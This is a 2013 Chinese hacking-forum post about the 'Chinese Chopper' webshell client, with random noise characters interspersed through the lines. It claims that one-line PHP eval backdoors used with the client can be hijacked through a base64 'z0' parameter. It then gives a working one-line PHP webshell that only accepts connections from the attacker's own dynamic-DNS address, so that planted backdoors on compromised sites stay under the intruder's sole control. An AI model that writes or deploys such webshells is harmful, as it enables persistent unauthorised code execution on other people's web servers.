找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1990|回复: 0
打印 上一主题 下一主题

中国菜刀 maicaidao 网站管理软件 0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-26 12:45:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞; K/ R  l( P+ a$ G- V

) N* ]* Q  }! z: Z就算你设置了密码,使用了eval($_REQUEST['moyo']);
9 \# |4 ~# i. \% U/ A4 ]# W' X4 M
, N. }; ~, G& Q* z但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
3 y2 u: f0 f" n! B& ^1 ^' T; P+ R. |7 h. z- Y  Y9 z
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
8 C$ u0 @5 R# w0 a/ g  {2 ^
6 M' L0 [, E( T& v直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了. N9 }0 A8 a6 p9 n' {

8 @  L/ U5 Y) @0 _. s8 Z, l$ {不知道是设计缺陷还是故意留的后门/ s; r, M6 e8 K1 O5 N

2 C. U  Q1 A1 H5 ?  z如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用' V( ^/ W4 l7 w! _1 ~1 _5 T: ~

& j, m: h+ H; g9 v本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org. k- F: }- M  E; E% k9 u
( n: L, G! W0 G
然后一句话后门这样写
! _) o( g  G9 g+ h! V  n; q/ f$ a
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
7 f3 j6 w( e# S* r. q7 S这样就可以让一句话后门只允许自己的电脑连接了
, }% c( v; @- I2 D% d* Q+ o+ I) ]6 r; _6 j! `2 ]2 F8 r3 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表